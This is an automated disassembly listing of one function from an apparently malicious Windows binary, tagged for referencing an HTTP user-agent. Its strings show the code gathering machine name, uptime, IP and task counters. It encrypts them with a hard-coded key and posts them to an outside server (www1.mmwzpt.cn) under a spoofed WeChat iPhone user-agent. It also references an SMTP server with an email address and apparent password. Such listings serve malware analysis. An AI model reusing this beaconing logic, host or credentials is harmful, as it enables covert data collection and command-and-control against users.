Function at 0x401aa5
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
push 8
call fcn.0044e40c
add esp, 4
mov dword [ebp - 0x1c], eax
mov edi, eax
mov esi, 0x567cb4
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x40], 0
push 8
call fcn.0044e40c
add esp, 4
mov dword [ebp - 0x44], eax
mov edi, eax
mov esi, 0x567cb4
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x54], 0
push 8
call fcn.0044e40c
add esp, 4
mov dword [ebp - 0x58], eax
mov edi, eax
mov esi, 0x567cb4
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x64], 0
push 8
call fcn.0044e40c
add esp, 4
mov dword [ebp - 0x68], eax
mov edi, eax
mov esi, 0x567cb4
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x70], 0
cmp dword [0x5cee20], 1
jne 0x401c07
mov eax, dword [0x5cee24]
test eax, eax
je 0x401bed
push eax
mov ebx, eax
call fcn.004010be
inc eax
push eax
call fcn.0044e40c
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x401bfe
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [ebp - 4], eax
jmp 0x401c38
push 0xffffffffffffffff
push 8
push 0x1601b66b
push 0x52010001
call fcn.0044e436
add esp, 0x10
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x401c34
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [ebp - 4], eax
push 0x567c1d
push dword [ebp - 4]
call fcn.00401021
add esp, 8
cmp eax, 0
jne 0x401c8e
mov dword [ebp - 0x74], 0
push 0
lea eax, [ebp - 0x74]
push eax
call fcn.00406836
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x401c76
push ebx
call fcn.0044e406
add esp, 4
mov eax, dword [ebp - 0x78]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x401c8a
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [ebp - 4], eax
cmp dword [0x5cee08], 8
jg 0x401cb0
mov eax, dword [0x5cee10]
cmp dword [0x5cee08], eax
jne 0x401cb0
xor eax, eax
jmp 0x401cb5
mov eax, 1
test eax, eax
je 0x401f2b
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.397520397520
push reloc.WS2_32.dll_connect
push 0
push str.153629739_qq.com
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.smtp.qq.com
push 5
mov eax, 2
mov ebx, 0x4b7af0
call fcn.0044e430
add esp, 0x40
push 0xffffffffffffffff
push 8
push 0x160100e0
push 0x52010001
call fcn.0044e436
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x567d5a
push dword [ebp - 0x74]
mov ecx, 2
call fcn.00401129
add esp, 8
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x401d45
push ebx
call fcn.0044e406
add esp, 4
push 0x80000301
push 0
push dword [0x5cee08]
push 1
mov ebx, 0x4503a0
call fcn.0044e41e
add esp, 0x10
mov dword [ebp - 0x7c], eax
push 0x80000301
push 0
push dword [0x5cee10]
push 1
mov ebx, 0x4503a0
call fcn.0044e41e
add esp, 0x10
mov dword [ebp - 0x80], eax
push 0xffffffffffffffff
push 8
push 0x1601b670
push 0x52010001
call fcn.0044e436
add esp, 0x10
mov dword [ebp - 0x84], eax
push 0xffffffffffffffff
push 8
push 0x16011c81
push 0x52010001
call fcn.0044e436
add esp, 0x10
mov dword [ebp - 0x88], eax
push 0xffffffffffffffff
push 8
push 0x1601b66c
push 0x52010001
call fcn.0044e436
add esp, 0x10
mov dword [ebp - 0x8c], eax
push dword [0x5cee28]
push 0x567d78
push dword [ebp - 0x80]
push 0x567d83
push dword [ebp - 0x7c]
push 0x567da3
push dword [ebp - 0x8c]
push 0x567dbf
push dword [ebp - 0x88]
push 0x567ddb
push dword [ebp - 0x84]
push 0x567deb
mov ecx, 0xc
call fcn.00401129
add esp, 0x30
mov dword [ebp - 0x90], eax
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x401e3f
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x401e52
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x401e65
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x401e75
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x401e85
push ebx
call fcn.0044e406
add esp, 4
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.153629739_qq.com
mov ebx, 6
call fcn.00401a64
push reloc.WS2_32.dll_connect
push 0
push str.153629739_qq.com
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x90]
test eax, eax
jne 0x401ec3
mov eax, 0x567c1d
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x401ed7
mov eax, 0x567c1d
push eax
push 7
mov eax, 2
mov ebx, 0x4b7b60
call fcn.0044e430
add esp, 0x58
mov ebx, eax
test ebx, ebx
je 0x401efe
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x401f0e
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x401f21
push ebx
call fcn.0044e406
add esp, 4
push 0
call fcn.0044e42a
add esp, 4
cmp dword [0x5cee2c], 0
jle 0x40200c
fild dword [0x5cee2c]
fstp qword [ebp - 0x78]
fld qword [ebp - 0x78]
fild dword [0x5cee08]
fstp qword [ebp - 0x80]
fadd qword [ebp - 0x80]
fstp qword [ebp - 0x88]
fld qword [ebp - 0x88]
call fcn.00401185
mov dword [ebp - 8], eax
push 0x80000301
push 0
push dword [0x5cee30]
push 1
mov ebx, 0x44f3c0
call fcn.0044e41e
add esp, 0x10
mov dword [ebp - 0x7c], eax
fild dword [ebp - 0x7c]
fstp qword [ebp - 0x7c]
fld qword [ebp - 0x7c]
fmul qword [0x567dfb]
fstp qword [ebp - 0x84]
fild dword [ebp - 8]
fstp qword [ebp - 0x8c]
fld qword [ebp - 0x8c]
fsub qword [ebp - 0x84]
fcomp qword [0x567c3a]
fnstsw ax
test ah, 0x41
jne 0x402007
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x567e03
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x567e10
push 4
mov ebx, 0x451870
call fcn.0044e41e
add esp, 0x34
push 0
call fcn.0044e42a
add esp, 4
jmp 0x402014
mov eax, dword [0x5cee08]
mov dword [ebp - 8], eax
cmp dword [0x5cee34], 1
jne 0x402097
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
call fcn.00409f4f
mov dword [ebp - 0x78], eax
push 0x80000301
push 0
push 0xa
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x402054
mov eax, 0x567c1d
push eax
push 2
mov ebx, 0x44ed20
call fcn.0044e41e
add esp, 0x1c
mov dword [ebp - 0x7c], eax
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x40207a
push ebx
call fcn.0044e406
add esp, 4
mov eax, dword [ebp - 0x7c]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x40208e
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
jmp 0x4020d1
call fcn.0040a337
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x4503a0
call fcn.0044e41e
add esp, 0x10
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x78]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x4020cd
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
cmp dword [0x5cee38], 1
jne 0x4027cf
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
lea eax, [ebp - 0x78]
push eax
mov dword [ebp - 0x7c], 0
push 0
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x80], 0
push 0
push dword [ebp - 0x80]
mov dword [ebp - 0x84], 0
push 0
lea eax, [ebp - 0x84]
push eax
mov dword [ebp - 0x88], 0
push 0
lea eax, [ebp - 0x88]
push eax
mov dword [ebp - 0x8c], 0
push 0
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
push dword [ebp - 0x98]
mov eax, str.http:__www1.mmwzpt.cn_mmrj_zxgh.asp_Actionzxtasknamehebei_jie
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
call fcn.00406ba1
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4021b1
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x4021c4
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x4021d7
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x4021ea
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x4021fd
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x402210
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x402220
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x402230
push ebx
call fcn.0044e406
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x402246
mov eax, 0x567cb4
push eax
push 1
mov ebx, 0x4503a0
call fcn.0044e41e
add esp, 0x10
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x402272
push ebx
call fcn.0044e406
add esp, 4
mov eax, dword [ebp - 0xa4]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x402289
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x567e73
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x567e75
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
push 0x5cee04
call fcn.00407f3b
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x4022dd
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4022ed
push ebx
call fcn.0044e406
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x402304
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x40231b
mov eax, 0x567c1d
push eax
push 1
mov ebx, 0x4503a0
call fcn.0044e41e
add esp, 0x10
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], 0
push 0
push dword [ebp - 0x7c]
mov eax, 0x567e83
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
mov eax, str.B_
mov dword [ebp - 0x84], eax
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0x74]
push eax
call fcn.00407f3b
mov dword [ebp - 0x88], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x402386
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x402399
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x4023a9
push ebx
call fcn.0044e406
add esp, 4
mov eax, dword [ebp - 0x88]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x4023c0
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x4023e3
mov eax, 0x567c1d
push eax
push 2
mov ebx, 0x44ed60
call fcn.0044e41e
add esp, 0x1c
mov dword [ebp - 0x74], eax
push 0x567e8c
push dword [ebp - 0x74]
call fcn.00401021
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x402427
push ebx
call fcn.0044e406
add esp, 4
cmp dword [ebp - 0x78], 0
je 0x4024c9
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x402444
mov eax, 0x567c1d
push eax
push 1
mov ebx, 0x44e9c0
call fcn.0044e41e
add esp, 0x10
mov dword [ebp - 0x7c], eax
fild dword [ebp - 0x7c]
fstp qword [ebp - 0x7c]
fld qword [ebp - 0x7c]
fsub qword [0x567e8e]
fstp qword [ebp - 0x84]
fld qword [ebp - 0x84]
call fcn.00401185
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x402495
mov eax, 0x567c1d
push eax
push 2
mov ebx, 0x44ed20
call fcn.0044e41e
add esp, 0x1c
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x88]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x4024c5
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x567e8c
mov dword [ebp - 0x74], eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.0040e27a
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x4024f2
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x1c]
call fcn.00401a6c
mov dword [ebp - 0x74], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x402510
mov eax, 0x567c1d
push eax
push 1
mov ebx, 0x44f260
call fcn.0044e41e
add esp, 0x10
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x78], edx
fild dword [ebp - 0x74]
fstp qword [ebp - 0x84]
fld qword [ebp - 0x84]
fsub qword [ebp - 0x7c]
fcomp qword [0x567e96]
fnstsw ax
test ah, 1
jne 0x4025e7
mov ebx, dword [ebp - 0x1c]
call fcn.00401a85
push ebx
push ecx
mov ebx, dword [ebp - 0x1c]
call fcn.00401a6c
push 0x80000301
push 0
push eax
push 0x80000301
push 0
push 1
push 2
mov ebx, 0x44eca0
call fcn.0044e41e
add esp, 0x1c
dec eax
jns 0x402594
push 4
call fcn.0044e412
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x4025a7
push 1
call fcn.0044e412
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x7c], ebx
mov ebx, dword [ebp - 0x7c]
mov eax, dword [ebx]
test eax, eax
je 0x4025cd
push eax
mov ebx, eax
call fcn.004010be
inc eax
push eax
call fcn.0044e40c
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x4025de
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
jmp 0x402607
call fcn.0040e610
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x402603
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
push 0
push dword [ebp - 0x20]
push 0xffffffffffffffff
push 8
push 0x160100e0
push 0x52010001
call fcn.0044e43c
add esp, 0x18
push 0x80000301
push 0
push dword [ebp - 8]
push 1
mov ebx, 0x4503a0
call fcn.0044e41e
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x80000301
push 0
push dword [0x5cee0c]
push 1
mov ebx, 0x4503a0
call fcn.0044e41e
add esp, 0x10
mov dword [ebp - 0x78], eax
push 0
mov ebx, 0x450b00
call fcn.0044e41e
add esp, 4
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x84], 0
push 0
push dword [ebp - 0x84]
push 1
push 1
push 1
push dword [ebp - 0x7c]
push dword [ebp - 0x80]
call fcn.0040ec29
mov dword [ebp - 0x88], eax
push 0xffffffffffffffff
push 8
push 0x1601b66c
push 0x52010001
call fcn.0044e436
add esp, 0x10
mov dword [ebp - 0x8c], eax
push dword [ebp - 0xc]
push 0x567e9e
push dword [0x5cee28]
push str.Machine
push dword [ebp - 0x88]
push str.UpTime
push dword [ebp - 4]
push str.IP
push dword [ebp - 0x8c]
push str.rundate
push dword [ebp - 0x78]
push str.FailNums
push dword [ebp - 0x74]
push str.TaskNamehebei_jieSuccNums
push dword [ebp - 0x20]
push str.Idname
mov ecx, 0x10
call fcn.00401129
add esp, 0x40
mov dword [ebp - 0x90], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x40272f
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x40273f
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x402752
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x402765
push ebx
call fcn.0044e406
add esp, 4
mov eax, str.2015xinqixiang
mov dword [ebp - 0x94], eax
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.00410c33
mov dword [ebp - 0x98], eax
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x40279c
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x4027af
push ebx
call fcn.0044e406
add esp, 4
mov eax, dword [ebp - 0x98]
push eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4027c6
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [ebp - 0x24], eax
jmp 0x4029a9
push 0x80000301
push 0
push dword [ebp - 8]
push 1
mov ebx, 0x4503a0
call fcn.0044e41e
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x80000301
push 0
push dword [0x5cee0c]
push 1
mov ebx, 0x4503a0
call fcn.0044e41e
add esp, 0x10
mov dword [ebp - 0x78], eax
push 0
mov ebx, 0x450b00
call fcn.0044e41e
add esp, 4
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x84], 0
push 0
push dword [ebp - 0x84]
push 1
push 1
push 1
push dword [ebp - 0x7c]
push dword [ebp - 0x80]
call fcn.0040ec29
mov dword [ebp - 0x88], eax
push 0xffffffffffffffff
push 8
push 0x160100e0
push 0x52010001
call fcn.0044e436
add esp, 0x10
mov dword [ebp - 0x8c], eax
push 0xffffffffffffffff
push 8
push 0x1601b66c
push 0x52010001
call fcn.0044e436
add esp, 0x10
mov dword [ebp - 0x90], eax
push dword [ebp - 0xc]
push 0x567e9e
push dword [0x5cee28]
push str.Machine
push dword [ebp - 0x88]
push str.UpTime
push dword [ebp - 4]
push str.IP
push dword [ebp - 0x90]
push str.rundate
push dword [ebp - 0x78]
push str.FailNums
push dword [ebp - 0x74]
push str.TaskNamehebei_jieSuccNums
push dword [ebp - 0x8c]
push str.Idname
mov ecx, 0x10
call fcn.00401129
add esp, 0x40
mov dword [ebp - 0x94], eax
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x4028fe
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x40290e
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x40291e
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x402931
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x402944
push ebx
call fcn.0044e406
add esp, 4
mov eax, str.2015xinqixiang
mov dword [ebp - 0x98], eax
lea eax, [ebp - 0x98]
push eax
lea eax, [ebp - 0x94]
push eax
call fcn.00410c33
mov dword [ebp - 0x9c], eax
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x40297b
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x98]
test ebx, ebx
je 0x40298e
push ebx
call fcn.0044e406
add esp, 4
mov eax, dword [ebp - 0x9c]
push eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4029a5
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [ebp - 0x24], eax
push dword [ebp - 0x24]
push str.http:__www1.mmwzpt.cn_mmrj_up.asp_ActionupsuccessKEY
mov ecx, 2
call fcn.00401129
add esp, 8
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], 0
push 0
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x80], 0
push 0
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x84], 0
push 0
push dword [ebp - 0x84]
mov dword [ebp - 0x88], 0
push 0
lea eax, [ebp - 0x88]
push eax
push 1
mov eax, str.User_Agent:_Mozilla_5.0__iPhone__CPU_iPhone_OS_5_1_like_Mac_OS_X__applewebkit_534.46__KHTML__like_Gecko__Mobile_9B176_MicroMessenger_4.3.2
mov dword [ebp - 0x8c], eax
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0x9c], 0
push 0
push dword [ebp - 0x9c]
lea eax, [ebp - 0x74]
push eax
call fcn.00406ba1
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x402a8a
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x98]
test ebx, ebx
je 0x402a9d
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x402ab0
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x402ac3
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x402ad6
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x402ae9
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x402af9
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x402b09
push ebx
call fcn.0044e406
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x402b1f
mov eax, 0x567cb4
push eax
push 1
mov ebx, 0x4503a0
call fcn.0044e41e
add esp, 0x10
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x402b4b
push ebx
call fcn.0044e406
add esp, 4
mov eax, dword [ebp - 0xa4]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x402b62
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.self.location
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x402b97
mov eax, 0x567c1d
push eax
push 4
mov ebx, 0x44f010
call fcn.0044e41e
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x402e0a
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x567fd5
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, str.self.location_
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00407f3b
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x402c06
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x402c16
push ebx
call fcn.0044e406
add esp, 4
push dword [ebp - 0x84]
push str.http:__www1.mmwzpt.cn
mov ecx, 2
call fcn.00401129
add esp, 8
mov dword [ebp - 0x88], eax
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x402c47
push ebx
call fcn.0044e406
add esp, 4
mov dword [ebp - 0x8c], 0
push 0
push dword [ebp - 0x8c]
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
push dword [ebp - 0x98]
mov dword [ebp - 0x9c], 0
push 0
lea eax, [ebp - 0x9c]
push eax
push 1
mov eax, str.User_Agent:_Mozilla_5.0__iPhone__CPU_iPhone_OS_5_1_like_Mac_OS_X__applewebkit_534.46__KHTML__like_Gecko__Mobile_9B176_MicroMessenger_4.3.2
mov dword [ebp - 0xa0], eax
lea eax, [ebp - 0xa0]
push eax
mov dword [ebp - 0xa4], 0
push 0
lea eax, [ebp - 0xa4]
push eax
mov dword [ebp - 0xa8], 0
push 0
lea eax, [ebp - 0xa8]
push eax
mov dword [ebp - 0xac], 0
push 0
lea eax, [ebp - 0xac]
push eax
mov dword [ebp - 0xb0], 0
push 0
push dword [ebp - 0xb0]
lea eax, [ebp - 0x88]
push eax
call fcn.00406ba1
mov dword [ebp - 0xb4], eax
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x402d28
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0xac]
test ebx, ebx
je 0x402d3b
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0xa8]
test ebx, ebx
je 0x402d4e
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0xa4]
test ebx, ebx
je 0x402d61
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x402d74
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x402d87
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x402d9a
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x402dad
push ebx
call fcn.0044e406
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xb4]
test eax, eax
jne 0x402dc3
mov eax, 0x567cb4
push eax
push 1
mov ebx, 0x4503a0
call fcn.0044e41e
add esp, 0x10
mov dword [ebp - 0xb8], eax
mov ebx, dword [ebp - 0xb4]
test ebx, ebx
je 0x402def
push ebx
call fcn.0044e406
add esp, 4
mov eax, dword [ebp - 0xb8]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x402e06
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.self.location
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x402e3b
mov eax, 0x567c1d
push eax
push 4
mov ebx, 0x44f010
call fcn.0044e41e
add esp, 0x34
mov dword [ebp - 0x78], eax
